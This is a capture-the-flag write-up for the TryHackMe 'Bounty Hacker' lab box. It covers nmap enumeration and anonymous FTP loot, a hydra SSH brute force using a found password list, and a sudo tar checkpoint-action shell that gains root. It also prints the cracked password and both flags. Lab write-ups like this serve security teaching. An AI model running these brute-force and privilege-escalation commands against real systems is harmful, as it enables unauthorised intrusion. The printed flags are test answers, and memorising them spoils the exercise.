Easy notes - Bounty Hacker

Enumeration

ping

```
➜  bountyhacker ping $IP -c 4
PING 10.10.175.38 (10.10.175.38) 56(84) bytes of data.
64 bytes from 10.10.175.38: icmp_seq=1 ttl=63 time=20.1 ms
64 bytes from 10.10.175.38: icmp_seq=2 ttl=63 time=18.8 ms
64 bytes from 10.10.175.38: icmp_seq=3 ttl=63 time=19.0 ms
64 bytes from 10.10.175.38: icmp_seq=4 ttl=63 time=19.6 ms

--- 10.10.175.38 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 18.816/19.364/20.071/0.504 ms
```

nmap

```
➜  bountyhacker nmap -sCV -A $IP -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 11:36 GMT
Nmap scan report for 10.10.175.38
Host is up (0.021s latency).
Not shown: 55529 filtered tcp ports (no-response), 10003 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.11.3.207
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
|   256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_  256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.84 seconds
```

website

Just a single page, with nothing in the source.

Spike:"..Oh look you're finally up. It's about time, 3 more minutes and you were going out with the garbage."

Jet:"Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real bold in that bar back there. Now take a look around and see if you can get that root the system and don't ask any questions you know you don't need the answer to, if you're lucky I'll even make you some bell peppers and beef."

Ed:"I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"

Faye:"..hmph.."

ftp

We have found two files:

task.txt

```
➜  bountyhacker cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

This seems to give us a possible username - lin

locks.txt

```
➜  bountyhacker cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
```

```
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

A possible list of passwords.

ssh

With a name and a short list of passwords, we already know that port 22 is available, so we can try to brute using hydra:

```
→  bountyhacker hydra -l lin -P locks.txt $IP -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-21 11:57:32
[DATA] max 4 tasks per 1 server, overall 4 tasks, 26 login tries (l:1/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.175.38:22/
[22][ssh] host: 10.10.175.38   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-21 11:57:39
```

Now we are on the box, a quick check of our surroundings gets the user flag.

```
→  bountyhacker ssh lin@$IP
The authenticity of host '10.10.175.38 (10.10.175.38)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.175.38' (ED25519) to the list of known hosts.
lin@10.10.175.38's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```

Checking for low hanging fruit we run `sudo -l` and find that we can:

```
lin@bountyhacker:~$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```

So we can can run `tar` as root. Quickly checking GTFObins for `tar` exploits:

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Let's run this on the terminal:

```
lin@bountyhacker:~$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{80UN7Y_h4cK3r}
```

Straight into root, which gives us the final flag.